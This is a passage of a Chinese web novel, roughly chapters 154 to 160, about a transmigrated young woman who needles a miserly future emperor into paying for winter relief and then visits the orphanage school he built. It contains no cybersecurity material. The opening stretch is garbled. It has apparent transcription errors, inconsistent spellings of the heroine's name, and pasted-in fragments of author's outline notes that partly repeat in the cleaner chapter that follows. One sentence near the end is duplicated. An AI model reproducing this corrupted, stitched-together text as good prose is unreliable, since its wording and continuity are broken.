如果是前者的话那还好,咬牙忍一忍,再过几个小时他就解放了,如果是后者的话……
Emmm……
叶蓉脸上写满了凄风苦雨,最终千言万语只化作了一句话。
皇帝不好当啊!
尤其是内心有抱负有野心,正在开国图中的十全皇帝,这种皇帝当起来有多累,那是谁上谁知道,他一辅助干一些杂活的人,都累成这个狗样了,而他一年12个月没什么意外的话,要这么干上了11个多月。
关键就这人还说今天相对前几天来说任务比较轻松。
讲真,他勤勉成这样,难道就不怕英年早逝吗?
“叩叩”
“好好干活。”
只稍微发了一下单,就被人逮到,完了得了,这番催促的叶蓉:“……”
他皮笑肉不笑,睨了他一眼,内心万分诚恳的朝椅子上坐着的男人道:“豫州百姓摊上您这么一位勤勉的上司,当真是有福气了,汪汪大人日后无论发生了什么都这般勤勉,再接再厉,好好干下去,莫要让治下百姓失望。”
谢阔:“……”
男人轻啧了一下。
才让他干了这么一点活,就开始阴阳怪气他了,当真是有够效期的。
想归这么想,但男人这回完全没有睁只眼闭只眼任他偷懒的想法,他要是让他在这里歇够了,他赶明回去有了精力再出门玩雪,那可怎么办?
在他们深切认识到错误反省之前,他是不可能放他自由活动的。
这边想着男人学他听话只听表层意思,完了把他的话当成夸奖,全盘接收了下来。
“你说的对,我确实太好好感,那接下来就劳烦姑娘帮我分担点任务了,咳咳……”
看着说着说着又开始咳嗽起来的男人,叶绒:“……”
嘤嘤嘤
这该死的愧疚感又冒出来了。
满心憋屈的他在心里默默翻了个白眼,秉承着惹不起躲得起的念头,他老是帮男人分门别类了起来。
“……”
呷了口茶,休息够了,正准备接着干活的男人,不经意间一个抬眼看到了在他身旁坐着,看着手中公文,直愣愣发呆的叶绒。
“???”
这么快就受不住了?
以为身旁少女快到极限的他,唇角微微蠕动,正想开口,突然发现他面容不是一般的肃穆。
谢阔当即拧起了眉头,顺着他的视线看去。
本以为是什么紧要情报的男人,看到他手中公文上,写的具体内容之后,“……”
男人一言不发的看看他手上的公文,又看看他脸上的表情,后百强之后略感头疼的揉了揉眉心。
他不由得出生跟着安抚道:“放心吧,虽然整个豫州因为今年寒冬的大雪,很多人都被冻伤冻病了,但我们早有准备契机为止,还没有出现过多的伤亡。”
在他给的那两批粮食撑着的情况下,金岁寒冬的大雪,便是一直不停歇的下到明年,他们豫州也能撑得住。
叶叶荣听到这话,情不自禁抬眸看了男人一眼,看他对公文上写着的其他技术人员伤我不值一词的模样,他唇瓣开科合合好几次,最终还是放弃了,出生当一站着说话不腰疼的圣母的打算。
彼时的他尚未统一九州,不关心其他几个州,因今年的大雪死伤无数,完全是情有可原的。
他不应该多说什么,也不能说些不该说的话!
“……”
叶蓉沉默好半响之后,默默把手中文书放到男人左手边,借着满是无声的寂静,先过了这一话题。
报复他前几天不出声一好,救让他出血?
福气
你子民学习你资助点物资呗,男:……
放心该给早给,不该给因她酌情做慈善了
荷包空空如也,
该想办法丰富钱包了,打仗无疑嘴快。隔壁翼州没找到他,猜到他回来了,蠢蠢欲动试探呢,正好是个好机会,还能一雪前耻,把失去的城市重新夺回来!?放心该给早给,不该给因她酌情做慈善了。
荷包空空如也。
第一百五十四章 抠门
叶绒:“……”
她无言的沉默了好半响之后,什么都没有说,只是默默把手中文书,放到了男人的左手边,然后借着这片刻的满是无声的寂静,掀过了这一让她心里很是不好受的话题。
男人看她这副模样,心脏下意识抽了抽。
完了,这是要大出血的感觉!
老天爷这是在报复他,前几天不肯出声给她念话本子吗?
不出声就出血什么的……
谢阔沉默好半响,只觉得再来一次的话,再重新给他个机会,他仍旧还是会选择后者。
毕竟,那辣眼睛的话本子有毒!
碧落毁他身体,话本子毁他精神。
天知道就看了小片刻的话本子,他当晚回去之后,做了什么噩梦!
谢阔:“……”
千言万语,只能化作一句话——
有她,是他的福气!
各种意义上的。
心肝儿抽抽的男人,拿着手中公文,做出一副正在批阅的架势时,实则把心神全都放在了沉默无声的少女身上。
果然,没一会儿的功夫,她便出声了。
“哎……”
叶绒未语先叹。
听见她这一声叹息,谢阔心里咯噔了一下。
妥了,这波彻底跑不了了!
抱着早死早超生的心态,男人转头给了叶绒一个眼神,示意她赶紧滴,把心里想说的话,快点抖搂出来。
叶绒强迫自己忘记,刚刚因为那份文书,脑海中具象化出来的画面,察觉到男人的眼神,后知后觉的,发现自己内心的叹息已经溢出来的她,“呃……”
叶绒脑袋卡了下,方才找到一个合适的话题,解释自己哀愁的来源。
“我就是想到了慈幼局的那些孩子们,这大冬天的,也不知道他们过得怎么样?”
“?!?!?!”
什么叫山重水复疑无路,柳暗花明又一春?
这就是!
谢阔心情顿时阴转晴。
只因为——
事关学堂,他该出的血,已经出了。
以为自己这波不用再出血的男人,俊美微挑,看着叶绒道:“那些孩子们吃得饱穿的暖,他们现在住的地方有着热水,烧着木炭,生活环境在整个边城,都已经算的是中上层水准了,你完全不用担心他们过得不好。”
叶绒一听这话,顿时就愣了下。
“他们过得那么好?”
男人闻言,万分肯定的点了下头,“毫不夸张地说,他们现在唯一会感受到的烦恼,就是启蒙书学不会。”
天知道,自从前几天,他让人加班加点的,把慈幼局那边的学堂盖好之后,就这短短几天的功夫,慈幼局里多了多少孩子。
顾忌着身旁少女那泛滥的同情心,男人把这话再三修饰,然后很是委婉的说了出来,以此来展现他掏钱让人修建的,住着慈幼局的孩子们由蔷薇进行职教的学堂,现在是多么的受欢迎!
讲真,他怀疑,如果不是慈幼局的规矩在那里摆着,恐怕有不少人家在学堂建好之后,会把自家传宗接代的独苗苗,给放到慈幼局去,让官府代为教养。
殊不知,叶绒听到他的话之后,第一反应是——
她扭头透过窗户,看了看屋外纷飞的大雪,然后又看了看,哪怕书房炭火一直没停歇,但仅一会儿的功夫,砚台里就有些凝固的墨汁……
Emmm……
叶绒表情有些一言难尽的看向话落,等着她夸奖的男人。
“……”
她在心里默默念叨了一番,给自己洗脑,古今行情不一样,现代那些黑心的资本家,随便捞一个放到这里,都是人人感谢的超有良心的慈善家!
不能比,这完全不能比。
所以,这种天气,让人在外施工干活什么的,不能一竿子打死的认为,全都是不人道的行为。
要具体情况,具体分析!
这般给自己自我洗脑了一番之后,叶绒看着书桌后坐着的男人,小心翼翼道:“这种天气,外面下着雪,你让人给你干活,修建学堂,给的工钱高不?”
有鉴于对谢某人人品的信任,叶绒把他让人干活,不给工钱这个行为,完全排除在外了。
然并卵——
听到叶绒这话的谢阔:“……”
他这人,向来不喜欢花冤枉钱,再加上日后在学堂上,投入的钱,肉眼可见的那叫一个多,所以为了节省一些成本,在边城修建学堂,他是就近取材,让在这里守卫的兵士们,干的活儿。
凡在豫州当兵者,每月都有饷银可拿,在已经给人发了工资的前提下,只是让人修建了个学堂,又不是让人上阵杀敌,作甚要给赏钱?
谢阔想虽然是这么想的,但在叶绒目光的注视下,不知为何,却莫名感到有些心虚。
Emmm……
和她相处久了,学会了她理不知气也壮的行为处事方法的男人,在叶绒注视下,表情逐渐由心虚气短转变为理直气壮。
倘若他不是光看着人,不说话的话,那就更加自然了。
好半响功夫,没等到男人回话的叶绒,看他这般模样,杏眸中渐渐染上了疑惑。
他要是给工人开的价高的话,点头就行了,反之则是摇头。
仅一个判断题罢了,为何露出一副心虚的模样?
四目相对,沉默了好一会儿之后,福至心灵般的,叶绒明白了男人的意思。
她皮笑肉不笑扯了扯嘴角,“所以,你建学堂没掏钱?”
“怎么可能!”谢阔立马反驳。
她这么说,他可就不认了!
现在那些小孩儿们,用的笔墨纸砚,桌椅板凳,包括他们的衣食住行,他可是全都大手笔的包了的,这些哪一样不花钱?
叶绒:“……”
她目光凉凉的看男人一眼,表情淡淡的哦了一声。
“那照你这么说的话,就是建学堂出钱了,找人给你修建学堂的时候,一毛没拔对吧?”
谢阔:“……”
这话他没法反驳了。
知道他现在的沉默,代表了默认的叶绒,“……”
好家伙!
生平头一次见到抠门成这样的皇帝,叶绒直接给人送了个大拇指。
牛掰.jpg
讲真,就冲他这副铁公鸡的架势,她墙都不服,就服他!
第一百五十五章 他心疼!
看着沉默的一言不发的铁公鸡,叶绒内心情绪五味杂陈,好半响,她才从嘴里憋出了一句话。
“话说,我叫你一声谢扒皮,你敢应吗?”
“嗯???”
谢阔听到叶绒这话,第一反应是,自己以前在大牢里,对叛徒使出来的那些个残忍的手段,暴露了。
“!!!”
好在,看身旁少女面无恐惧的模样,谢阔很快就冷静了下来,知道他是误会了。
晓得自己会错意的男人,对叶绒露出了一抹礼貌而又不失尴尬的笑容,继续保持着自己沉默寡言的形象。
就……
反正房子已经建好了,钱他是不可能再出的!
四目相对,看出他眼中传达出来的情绪的叶绒,抬手抹了把脸,在内心深深叹了口气。
“那我再问你最后一个问题,你让人帮你修建食堂的时候,给那些出苦力的人包吃住了吗?”
他都已经黑心成这样了,她就不指望他,会给那些在寒冬腊月天,露天干活儿的人,提供什么雪天补助了,她现在只想知道这一点!
倘若他连吃住都没给人包,全靠权势压榨人干活,只要人力,不出一丁点儿物力财力的话,那她……
只能说一句,道不同不相为谋。
古代权贵太可怕了,祖国妈妈,求求捞捞。
叶绒内心小人儿暴风式哭泣,瑟瑟发抖的抱住了自己。
她想回家,呜呜呜……
好在,听到她发问的男人,这下总算是点了尊头。
叶绒看男人毫不心虚点头,一点都不像是在撒谎糊弄她的模样,她稍微松了口气……
才怪啊!
开办学堂的主意是她出的,他之所以修建学堂,连工人血汗钱都吝啬的一毛不拔,归根结底和她有关,单就冲着这一点儿,知道谢某人干了什么的她,良心就不可能过意的去。
哎!
猫猫叹气.jpg
又一次感受到自己,和这个时代格格不入的叶绒,默默反思了一下自己。
好半响,最终,她只得出了一个结论——
她要赶紧回洛阳城,见原主一面,回头赶紧走完剧情,赶快回家!!!
这破地方,谁爱呆谁呆,反正她是呆不住了!
当然,想归这么想,知道自己短时间内,不可能实现终极目标的叶绒,最终还是选择了着眼于当下。
晓得有底层老百姓,大冬天的露天做业,帮眼前男人干活儿,完了连个铜板都没见着的叶绒,心念转动间,忍不住出声道了句。
“冬天到了,今年腊月寒冬时节,雨雪甚多,家家户户日子肉眼可见的难挨,不知小谢大人有没有想过,给你治下百姓们,提供一些帮助啊?”
谢阔:“……”
他分外冷静指出一点,“他们有吃有喝,已经比其他几州人强太多了,再加上豫州官府调遣民间大夫,每日都给人义诊;豫州治下百姓,今年再也不用担心熬不过这个寒冬了,也不用再害怕生病拖累家里,就连日子都有了盼头,我们已经给他们提供太多帮助了。”
话说到这里,谢阔看了眼能让他们做出这种事情的底气。
“能为治下百姓做的事情,我已经全做了,至于其他的,要是按你的想法让他们吃饱穿暖,那就没办法做到了,毕竟,豫州穷。”
她给的那么多粮食,要是放开了,让豫州治下的百姓们,敞开肚子吃的话,那恐怕不到明年开春,就要见底了。
毕竟,这世道,谁家还没几个在其他州待着,需要资助的亲戚朋友啊!
他不是冤大头,不可能无偿养活九州人!
叶绒听到男人的话,倒是没有多想,毕竟她心思不在这里。
发觉男人误会了她话里的意思之后,叶绒索性敞亮的道出了自己内心的想法。
“那远的事情管不了,就近的事情,你总得管管吧,左右你坐拥金山,也不差那点钱儿,要不然挨家挨户送点吃的穿的,展现一下,你身为豫州未来掌权人,对治下百姓的关心吧?小谢大人,你觉得我这主意怎么样?”
既然不想给那些个帮忙修建学堂的人发工资,那就把省下来的工资,再加上点儿私房钱,合计着全都给人挨家挨户的平分了吧!
谢阔:“……”
这主意很棒,除了有点儿费他以为,没别的毛病!
看着一脸坦然的说出这话,挥霍起他的钱,跟花自个儿的钱一样大方,毫不心虚的叶绒,男人莫名感觉有些牙疼。
他真是谢谢她了!
谢谢她那么为他着想,虽然但是——
她说这话之前,就不能动动脑筋吗?
他是缺那点儿民心的权二代吗?
这么想着,谢阔很想摇头。
毕竟,他要是真按她说的,这么做了的话,那本就空空的荷包,就要装满欠条,承受负债累累的硕果了。
谢阔本来是真想摇头的,然并卵——
看着身旁少女杏眸微眯,一副磨刀霍霍,大有他敢拒绝,就直接刀了他的架势,谢阔:“……”
男人斟酌再三,还是从心的牙一咬心一狠,点了下头。
“行,就按你说的办。”
内心滴血的男人,回话时,心肝脾肺肾,都在抽抽的喊疼。
他的钱!!!
关键是,这回他没办法再用藏富于民来安慰自己了,毕竟送上门的吃穿用品,家家户户肯定都会内部直接消化了的。
甚至于,为了防止他们心中的冤大头,转个身的功夫,就直接反悔了,谢阔敢用自个儿在叶绒面前的信誉值担保——
那些吃的,他们肯定会用最快的速度塞进肚子里,那些穿的,他们也肯定会动作麻溜的穿针引线裁剪缝制,做成合身的衣服,不管三七二十一先套到自己身上再说!
设身处地想一下,换成他,他也会这么干!
Emmm……
疲惫微笑.jpg
理清思路,弄明白了这件事情到底是怎么发生的谢阔,此时此刻,内心充满了深深的懊悔。
早知如此,他就不贪便宜,省那几个子儿了!
这下好了,省下来的钱,直接跟滚了雪球一样,翻了倍的,都要送出去。
他心疼!
第一百五十六章 羡慕嫉妒
一番脑补之下,成功的把自己,给整郁闷了的谢阔,重重叹了口气。
负债累累的生活,那是谁过谁焦虑啊。
他该想办法,丰富一下自己的荷包了!
不求能得多少银钱,但最起码,得能撑住几次大出血,省得身边人儿下回狮子大开口,把他的钱,当自个儿的钱花的时候,他拿不出来。
那到时候,他可就要尴尬了!
Emmm……
只是稍微这么一想,谢阔瞬间就精神振奋了起来。
为了不成为一名副其实,正儿八经的赘婿,他再不想办法找渠道丰富自己的小私库的话,那他入赘以后,在厍谢两家,恐怕要成为地位最低下的人了!
毕竟,按照九州的潜规则来算,赘婿本就比正常人家的百姓,低了一个等级,认真算起来,已经能排在下三流中了。
在这种情况下,他要是再不努努力加把油,改明儿等孩子出生了,那他恐怕就是家里最底层了,做什么事情,都得看他人脸色的那种……
只稍微这么一想,谢阔内心就充满了窒息。
“——”
不!
他不能接受,自己有一天竟然要过这种生活!
别的不说,当赘婿归当赘婿,但他最起码,还是要做到经济独立……啊,不!
经济独立什么的,想到他手下那些嗷嗷待哺,等着他来养活的人,谢阔果断打消了脑海里,这一异想天开的想法。
娘子,穷穷,帮帮.jpg
对自己和身旁少女身家的差距,很有自知之明的男人,直接改了目标——
别的不说,他最起码要做到,不伸手找她要零花钱!
为了达到这一目标,谢阔大脑转动间,很快就有了一个想法。
天冷了,隔壁翼州边城,该破产了!
本想等隔壁受不了,眼红率军突袭过来的时候,再光明正大的反击过去,以期得到大名声的男人想了想,最终决定换一个法子。
正所谓养兵三年,用兵一时,他在翼州埋下的暗探,也该动动了。
毕竟,他们再不出手,现在这鬼天气继续延长下去,恐怕他们就没出手的机会了……
谢阔这般想着,脑中闪过一系列复杂的算计。
彼时的男人,眼眸异常的闪亮,那是一种——
即将见血的兴奋!
当然,对于男人内心闪过的念头,叶绒一点都不知晓。
她只觉得,仅一个眨眼睛的功夫,男人整个人气场就变了,变得更加振奋勤勉了。
就……
看着身上莫名带了股,三年已到,龙王归来,这种气场的男人,叶绒不明觉厉。
“你……在想什么?”叶绒看着精神奕奕坐在主位上的男人,满是困惑的开口。
男人闻言,下意识敛了敛眼帘,没让她看到,他眼中的勃勃野心,与嗜血的兴奋。
谢阔深吸一口气,平复下内心的激荡,一副面色如常的模样,看着叶绒道:“我在反思。”
“嗯?”
看着说这话时,语气分外诚恳的男人,叶绒有些怀疑自己幻听了。
比资本家还黑心的封建掌权者,会那么容易意识到自己的错误吗?
她不信!
看着把心里话全都写在了脸上的少女,黑心肝的谢某人,面容沉痛的点了下头,“真的,我不骗你。”
本以为能逃过一次出血,结果却惨遭大出血的男人,飞快把整件事情在脑海中回忆了一遍之后,得出了一个结论。
“我不该与民争利,贪那点小便宜的!”
谢某人这话说的,那叫一个真心实意,万分诚恳,全然不掺半点水分。
以至于,本还不相信他能这么快就悔过的叶绒,有些半信半疑。
不是,他反思悔改,亡羊补牢的思想觉悟,这么高的吗?
看叶绒犹豫不定的模样,谢阔深深叹了口气,以知错与悔改为核心,围绕着以后绝不再犯为话题,就此事做了一长篇大论的详情阐述,只为了让她明白,他当真不会再犯同样的错误了。
男人是这么说的,以后也确实打算这么做了。
因为,经此一事,他印象最深刻的事情就是,绝不能贪小便宜与民争利了。
不然,哪天暴露到了她面前,不止容易破坏他在她面前的印象,更为重要的是,她会让他连本带利的翻上好几倍,把他抠门省下来的钱,给人翻倍返还回去。
这种痛苦,谁试谁知道,反正他是不敢再尝试了!
至于瞒着她偷偷的来,不让她知道?
Emmm……
纸终究是包不住火的,谢阔从来不敢奢望这件事情。
毕竟,她老子又不是吃素的!
还没上岗呢,就想到日后当赘婿时的艰辛生活,谢阔很是心酸的叹了口气。
关键吧,这种苦,他还得硬着头皮,上前求着吃。
对此,内心情绪万般复杂的男人,千言万语只化作一句安慰自个儿的话——
早适应早习惯吧!
当习惯了,对此感到习以为常了,自然就感受不到痛苦了。
在心里自我PUA了一番之后,好不容易收拾好心情,仅一个抬头的功夫,谢阔突然发现,身旁少女又变成了一副愁眉苦脸的模样。
???
这下轮到谢阔疑惑了。
他下意识回想了下,自己这段时间做的事情,确定自己没再做什么压榨百姓的,让她觉得看不惯的事情之后,男人方才开口。
“怎么了?”
既然错不在他,那他就不需要担心了。
对上男人关切的目光,叶绒:“……”
好半响,她重重叹了口气。
“天上的雪一直在下,地上的雪又那么厚,这种天气完全不适合出门,你那些吃的穿的,要怎么给人送过去啊?”
愁!
“……”
风水总是轮流转的。
从前散财童女扔馅儿饼,伸手接的人是他们;而今同一个人扔馅饼,接的人却是别人。
他们虽然得到的多,但别的人的馅儿饼,那是放到人家面前都不够,还得追着人,喂到人家嘴里。
Emmm……
谢阔这般想着,一时不知自己是该羡慕边城这些百姓们,还是该嫉妒他们了?
猫猫忧伤仰头望天.jpg
第一百五十七章 后遗症?小问题!
叶绒觉得,自己的担心情有可原,并非多此一举。
毕竟眼下这种天气,实在不适合出门,不然人个子要是稍微矮一点儿,一不留神滑倒了,栽在雪地里,那其他人就是想帮忙把人捞出来,都见不到人在哪里。
人不适合出门,难不成要官府的人,挨家挨户的骑马,送吃的穿的上门?
Emmm……
叶绒脑海里刚冒出这一想法,就迅速被她自己给pass了。
马何其无辜啊!
她就是再没有常识,也知道这个年头的牛马,是非常珍贵的东西,没得这么平白浪费的!
这般想着,叶绒看身边男人一眼,她犹豫片刻,还是说出了自己内心的纠结,以期望他能拿个主意。
听到她话的谢阔:“……”
他是不是得追着人,把馅饼喂到人家嘴里之后,亲眼看着他们吃了吸收了消化了啊?
要他说,她这担心,纯粹是多此一举——
边城这边的老百姓们,要是知道他们能白拿吃的喝的话,他这边前脚让人拿个铜锣,走街串巷的吆喝一声,完了报个准确的地点,改明儿发放东西的时候,就算是那些个腿脚不便的百姓们,他们就是爬,也会爬过来领东西的。
毕竟,白送的吃的穿的哎,换他也要!
当然,这话是不能告诉叶绒的。
看着真心实意在担心的少女,谢阔嘴角狠狠抽搐了两下。
他怕他要是把心里的大实话说出来,她会觉得他冷血无情!
为了在她这儿得到一个好名声,他都咬牙狠心,准备放血了,不能因为这么点破事儿,功亏一篑。
这么想着,男人沉吟片刻,换了种说辞,“你这是在杞人忧天。”
啊嘞?
叶绒一脸懵逼的看着说话的男人,不明白他是怎么得出这一结论的。
“专业的事情,就应该交给专业的人去做,论理来说,这应该是官府那边的人要考虑的,他们那边定然有法子把东西,好好送到人手上的,你何必担心这一点?”
叶绒闻言,顺着男人的话想了一下,紧跟着深有同感的点了下头。
“你说的对。”
这不是她该考虑的事情,她完全不用为此浪费脑细胞。
认同了男人观点的叶绒,果断把这件事情抛之脑后,完了把自己的注意力转回男人桌案前的公文上,重新开始忙活了起来……
别人是早死早超生,她是早干完活能早点休息,都是一样命苦的存在呐!
凄风苦雪,冷气瑟瑟,寒意逼人,叶绒本以为,自己还要在这般锻炼人心智的天气下工作好久,结果没想到黑心老板人心黑归心黑,抠门归抠门,但身体素质倒是蛮强的。
她只在书房,帮人整理了三四天的公文,就发现男人的面色,在程叔专门让厨房人熬制的补汤的照料下,肉眼可见的红润了起来,就连咳嗽声也从频繁的咳咳,变成了偶尔咳上那么一下……
——谢阔的身体肉眼可见的在好转!
叶绒本想等他彻底好了之后,再让自己解放,回归从前颓废的生活的。
奈何计划赶不上变化!
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这倒不是因为男人身体好全了,主要是吧……
她在谢某人手底下忙活到腊月中下旬的时候,程叔告诉了她一个好消息,碧落有法子解了。
老实说,叶绒听到这一消息的那刻,开心的差点蹦起来。
她嘴跟抹了蜂蜜似的,对程医远不停的说着好话,不断的夸夸夸,赞美着他的医术,直说的程医远嘴角笑容越来越大。
程医远看着一副苦尽甘来表情的叶绒,面对终于理解了他的心酸苦楚不容易的知心人,他抬手摸了摸自己不到一个月的功夫,就往后移了不少的发际线,悄悄的给叶绒吐露了一点坏消息。
“碧落此毒终归阴狠,一经入体便深入人骨血,老夫此番虽能解了此毒,但少主身上总归要留下点后遗症的。”
“后、后遗症?”叶绒脸上笑容肉眼可见的消失了。
看程医远一副淡定的模样,她勉强稳定了心神,学着他的模样,小小声的问道,“是什么样的后遗症啊?”
程医远:“……”
他摸着胡须的手,几不可见的顿了下,不等叶绒发现,为了维护他在她心中的形象,程医远下意识的采取了和自家少主一样的做法。
“问题不大,你不用担心。”程医远那叫一个轻描淡写,三言两语的功夫,就把这件事情揭了过去,转移了叶绒的注意力。
呵.jpg
笑话!
他可是被人尊称为神医的存在,他的医术要是在整个九州排第二的话,那就没人敢排第一的那种,有这么个名头在,他能告诉她,他也不知道少主身上,会发生什么样的后遗症吗?
当他神医不要面子的啊!
叶绒被程医远这般轻描淡写,云淡风轻的态度,直接给忽悠了过去,她当真相信了他的话,把他口中的问题不大,当成了小事一桩。
然后……
知道男人很快就能被治好的叶绒,肉眼可见的松了一大口气。
呜呜呜……
苍天呐,大地呀,天可怜见的,她以后面对谢阔的时候,终于不用那么愧疚了!
那么,问题来了——
在这种情况下,她既然不用再对谢某人那么心虚愧疚了,那在他身体已经肉眼可见的好转,且碧落马上就能解除的现在,她还要每天跟人家学生仔一样,风雨无阻累死累活的去他那里打卡上班吗?
Emmm……
脑海里闪过这一念头之后,叶绒想都不想的,就摇了下头。
恰逢第二天,天公作美,也许老天爷也知道叶绒这段时间过得不容易,所以特意想给她放一个假的缘故,难得的这天,叶绒早上起床之后,发现天空不再飘雪了。
好久没见到晴天的叶绒,看着院子里因为勤劳小厮的打扫,只剩下一层浅浅雪花的地面,她果断决定今天好好出门看看,呼吸一下外面的新鲜空气。
万分想要自由的叶绒,已经想好了,谢阔问起来的时候,她要怎么说——
问就是世界那么大,她想去看看!
第一百五十八章 有瓜?
当叶绒顺利出了院门,走在寒风拂面,人流稀疏的街道上时,她着实发现自己多虑了。
Emmm……
谢某人一点儿都没让人拦她,也没再让她跟着在书房忙前忙后的,任由她出了门。
整个院子就那么大,她不信她出门的时候,他不知道。
所以,他这是放过她了?
知道自己快好了,心情跟今天的天气一样晴朗了,就不再霍霍她这棵,已经被工作摧残的蔫儿了吧唧的小苗苗了?
这可真是——
太好了!
叶绒激动的那叫一个热泪盈眶。
就……
如果不是怕现在这天气,眼泪流出来,还没落下去呢,就在脸上结成一串冰渣子,影响了她的形象话,她高低得挤两滴泪出来,表达下自己内心的苦尽甘来!
嘻嘻.jpg
倘若还在奋笔疾书的谢阔,知道了她内心的想法的话,恐怕要呵呵冷笑了。
他都没得休息,她还想解脱?
想得美!
黑心无良谢某人,难得发一次善心,只是觉得把人拘束那么久,该让人出来放放风了,以至于趁着天晴让人提前清场,给了人一天自由时间的他,并不知道叶绒内心的荡漾。
前脚知道叶绒出门了,后脚就头也不抬的吩咐前来禀报的暗卫,多派点儿人保护好她的男人,端的是一副老神在在的模样。
独苗苗在家里时被人呵护着,养的太娇贵了,不仅受不得风吹雨打,也没见识过真正的黑暗和苦难,难得自己独自一人出个门,哪怕不会有不长眼的人撞过去了,但还是得让人注意着点,看住她,不该吃的东西别吃,不该碰的东西别碰。
彼时,并不知道书房内男人在想什么的叶绒,甫一出门,就把所有的烦恼全部抛之脑后了。
正所谓以后的事情,交给以后的自己处理,她现在只需要玩的开心快乐就好了!
叶绒本想在城里四处走走看看的,怎奈硬性条件不给力。
诺大的街道上,弯弯绕绕的很多小路上,积雪堆的厚厚的,压根无法踏足,她除了顺着官府组织人手,清理出来的主道走走晃晃以外,完全没法顺着自己的心意随处走。
好在,来这边这么久都没出来逛过的叶绒,现在如同刚出笼的鸟儿一样,对外界充满了新鲜和好奇,所以一丁点儿都不觉得无聊。
当然,如果街道上来来往往的人,再多上那么一点儿,更热闹些就好了。
叶绒这么想着,她走着走着,走了好半响功夫,突然感觉有些不对劲儿。
哪里不对头呢?
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站在原地,凝眉看了来往行人好半响,叶绒总算是发现了不对劲儿。
???
怎么肥事?
为什么大家都在往一个地方走?
难不成前方有瓜?!
叶绒眼睛biu的一下,瞬间就亮了。
她二话不说,随大众的人流,往前方走去……
别误会,她不是想吃瓜。
她只是想去看看,前面是不是有什么处于热闹中心被误伤的人,需要帮助!
第一百五十九章 渴望
顺着人流走的叶绒,没一会儿的功夫,就发现身边肉眼可见的热闹了起来。
有人在窃窃私语,说这些什么免费之类的事情;有人手舞足蹈,神态激动的说着自家孩子天赋怎么怎么啦……
叶绒全程听着身边人说的话,直听得一头雾水,满脸懵逼的环顾四周,妄图找个能从开头讲起来的人,给她串联一下事情,讲明白前因后果,让她吃个完整的瓜。
也许是因为她的表情,在一众人间显得太过于格格不入了的缘故,没一会儿的功夫,叶绒就被一和她差不多大小的姑娘,从身后追上了。
“……你好。”
对上叶绒问询的目光,一身灰色冬装,不施粉黛,便显得格外清丽的少女,看着她很是激动的问道:“你也是要去应聘夫子的吗?”
叶绒:“……”嘎???
反应过来身旁少女话里的意思之后,她当即瞳孔一震。
旋即,叶绒又仔细把少女从上到下打量了一遍……
呃——
她也没看错啊!
少女面容很是青涩,长得嫩乎乎的,倘若褪去身上的粗布衣衫,换身华丽的衣服的话,她对外说自己是某某富家千金小姐的话,那是绝对没有人会怀疑她在撒谎的。
当然,这不是重点,重点是,这样一个看着就很年轻的小姑娘,搁他们那里,别说是成年了,恐怕是就连初中都没毕业的那种。
一初中生去应聘给人当夫子什么的,志向这么远大的吗?
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少女看叶绒被她言辞震住了,没反驳,以为她们志向相同,旋即她鼓足了勇气开口道:“我是县丞家的,夫人心善,应了我的恳求,允许我出来尝试一下,还给了我银钱叮嘱,她说我此番若能应聘成功的话,便不用再回去伺候大人了。”
看着眼眸晶亮,语气激动,言辞间对其口中的夫人充满了感激的少女,叶绒的表情从???到!!!最后转变为了?!?!
就——
分明身旁少女的话说的很短,但就这么短短的一段话,叶绒却从中品出了不止一个瓜。
Emmm……
她虽然性取向正常,但却蛮喜欢吃那些与小众性取向有关的瓜的。
左右这个世界,就连ht版本的春天的药都整出来了,那想来这个世界对于那些异于常人的取向事情,包容度还是蛮高的吧?
因人一句话,思想不可避免的往污浊方向拔足狂奔的叶绒,yy到激动处,眼角余光瞥到身旁少女那稚嫩的面容,瞬间就跟被人泼了一大盆凉水一样,冷静了下来。
“……”
她有罪!
竟然敢污染祖国尚未成熟的花朵!
苍天啊大地呐,原谅她思想污浊吧!
虽然但是——
看着因为她嗯嗯啊啊点头配合,越说起夫人越起劲,对夫人仰慕钦佩的话语,如那滔滔不绝的黄河水一般,可着劲儿的朝她砸来的少女,叶绒:“……”
她觉得吧,就冲眼前少女现在这般模样,她想岔了,完全情有可原!
完全不知道叶绒在想什么的少女为了表达心中对夫人的感激之情,说了好半天,眼见着目的地快到了,她方才意犹未尽的止住了话题,说出了自己找上叶绒的原因。
“多个人能壮胆,我们一起去应聘吧?”
叶绒:“嗯嗯……嗯?!!!”
她想都没想的,又跟着附和的点头,完了头点了一半才反应过来,少女是在询问她的意见。
叶绒:“——”
“好,没问题,我们一起去。”
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有知道内情的人带着,能深入瓜田中心,近距离吃瓜,那她必须得同意啊!
但凡犹豫一秒,都是对那些死于旺盛好奇心的猫猫们的不尊重。
叶绒这么想着。
但等她跟着少女,顺着人流被带到了慈幼局的大门口时,她懵逼了。
不是……
这里面能有什么瓜?
想到小时候,孤儿院里那些因为爱心人士,捐赠的可爱酷炫玩具,扯头花的小朋友们,身为曾经瓜田中被人围观的一员的叶绒:“……”
有的人面不改色,看似淡定,实则脚趾已经尴尬的抠出一座魔仙堡了。
啊、这……
叶绒强迫自己忘记,脑海中小时候黑历史的画面。
阿巴阿巴——
阿弥陀佛哈利路亚,来都来了,都已经走到人大门口了,那她还是进去看一看吧,进去瞅瞅里面某位黑心资本家花了不少钱,建立出来的学堂到底长啥样?!
叶绒是这么想的,因此当已经提前做好功课的少女,带着她进了慈幼局,直奔目的地时,失去了吃瓜看戏的心的叶绒,如同一只狐獴般,边跟着少女走,边左右扭头不停的看来看去,四处张望观察着……
一个猝不及防的功夫,走过一个拐角,叶绒被身前不远处坐在院子里的偌大人群惊住了。
只见空旷的,被人打扫的不见一片雪花的院子里,整整齐齐的坐着一堆人,从小孩儿到少年再到老人,他们按年龄依次从前往后落座,那叫一个井然有序,然而……
他们这么坐在那里,既不是为了听人洗脑,也不是为了等谁来给他们派发鸡蛋,而是就在那里安安静静的坐着,如饥似渴的看着人群正前方,一正在教学的中年女夫子,写在白板上的字,他们眼神那叫一个明亮,里面充满了对知识的渴望。
叶绒:“……”
倘若她在现代玩手机刷视频的时候,猝不及防的在不明所以的前提下,看到这一幕的话,那她肯定是会笑出来的。
这本是非常搞笑的一幕,然而,看着众人眼中对知识的渴求,她却一点都笑不出来,嘴角跟僵住了一样,扯都扯不动。这本是非常搞笑的一幕,然而,看着众人眼中对知识的渴求,她却一点都笑不出来,嘴角跟僵住了一样,扯都扯不动。
第一百六十章 她有罪
“你怎么过来了?身体已经好了吗?”
猝不及防的关切声音响起,从耳膜传入大脑,唤回了叶绒的心神。
甫一回神,叶绒才发现自己竟然已经跟着少女,来到了她面试的地点——
蔷薇的办公室。
